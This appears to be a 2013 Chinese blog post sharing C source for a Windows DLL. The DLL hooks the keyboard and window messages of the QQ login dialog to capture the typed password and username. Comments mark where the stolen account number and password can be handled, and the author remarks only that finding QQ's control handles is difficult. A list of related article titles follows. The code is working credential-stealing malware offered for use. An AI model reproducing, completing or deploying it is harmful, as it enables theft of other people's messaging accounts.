一个dll钩子代码
2013-07-06 09:35
218 查看
[align=center] [/align] #include<windows.h> HWND hQQLandDlg=NULL; HWND hUserNameEdit=NULL; HWND hPasswordComboBox=NULL; HWND hButton=NULL; HHOOK hKeyboard=NULL; HHOOK hWndProc=NULL; HINSTANCE hHookDll; char szPassword[128]; char szUserName[128]; int pszPasswordLen; LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam ); LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) ; BOOL WINAPI SetHook ( HWND hQQLand, HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) { if ( isInstall ) { hQQLandDlg = hQQLand ; hUserNameEdit = hUserName ; hPasswordComboBox = hPassword ; hButton = hLandButton ; DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ; hHookDll = GetModuleHandle ( "MyQQHook" ) ; hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ; hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC, (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ; if ( hKeyboard != NULL && hWndProc != NULL ) return true ; } else { UnhookWindowsHookEx ( hKeyboard ) ; UnhookWindowsHookEx ( hWndProc ) ; hHookDll = NULL ; hKeyboard = NULL ; hWndProc = NULL ; ZeroMemory ( szPassword, 128 ) ; pszPasswordLen = 0 ; } return false ; } LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam ) { //检测回车键是否被按下 if ( wParam == VK_RETURN && lParam > 0 ) { //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的 SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); //此处可以自由处理拦截到的号码和密码(szUserName,szPassword) //不要忘了变量还原(szUserName,szPassword) } if ( lParam > 0 && wParam != VK_RETURN ) { char KeyName[10] ; ZeroMemory ( KeyName, 10 ) ; GetKeyNameText ( lParam, KeyName, 10 ) ; if ( strlen ( KeyName ) == 1 ) { strcat ( szPassword, KeyName ) ; } } return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ; } LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) { CWPSTRUCT *p = (CWPSTRUCT*)lParam ; if ( p->message == WM_COMMAND && p->hwnd == hButton ) {//同理 SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); //这里可添加如何处理密码的语句 } return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ; } 主要问题是如何获得QQ的控件句柄!!呵呵!!有难度啊!! |
相关文章推荐
- 一个向别的进程插入dll的代码
- 把控件中的代码剥离出来单独成一个dll
- VS2005发布网站问题及"aspnet_merge.exe”已退出,代码为 1的错误以及所有代码文件生成一个dll
- VC++钩子DLL框架代码(MFC Extension DLL using shared MFC DLL)
- 一个向别的进程插入dll的代码
- 一个向别的进程插入dll的代码
- dll的导出和导入的一个小技巧(让dll的代码文件和调用者代码文件共享一个头文件)
- 一个windows应用程序内部到底有没有DLL文件的代码呢???它是如何调用DLL的???
- 在使用一个全局底层键盘钩子dll时遇到的问题
- 一个内存加载dll的代码
- 使用ICSharpCode.TextEditor.dll 做的一个代码高亮记事本
- 一个向别的进程插入dll的代码 .
- 一个向别的进程插入dll的代码收藏
- 一个向别的进程插入dll的代码
- 移植代码到 DLL 时遇到的一个问题
- 动态链接库dll键盘钩子后台记录代码示例
- asp.net中利用正则表达式判断一个字符串是否为数字的代码
- 让javamail直接添加上传文件为附件的ByteDataSource代码,一个和该方法配合的上传文件类
- React-Native做一个文本输入框组件的实现代码
- 自己写的一个计算代码执行时间的函数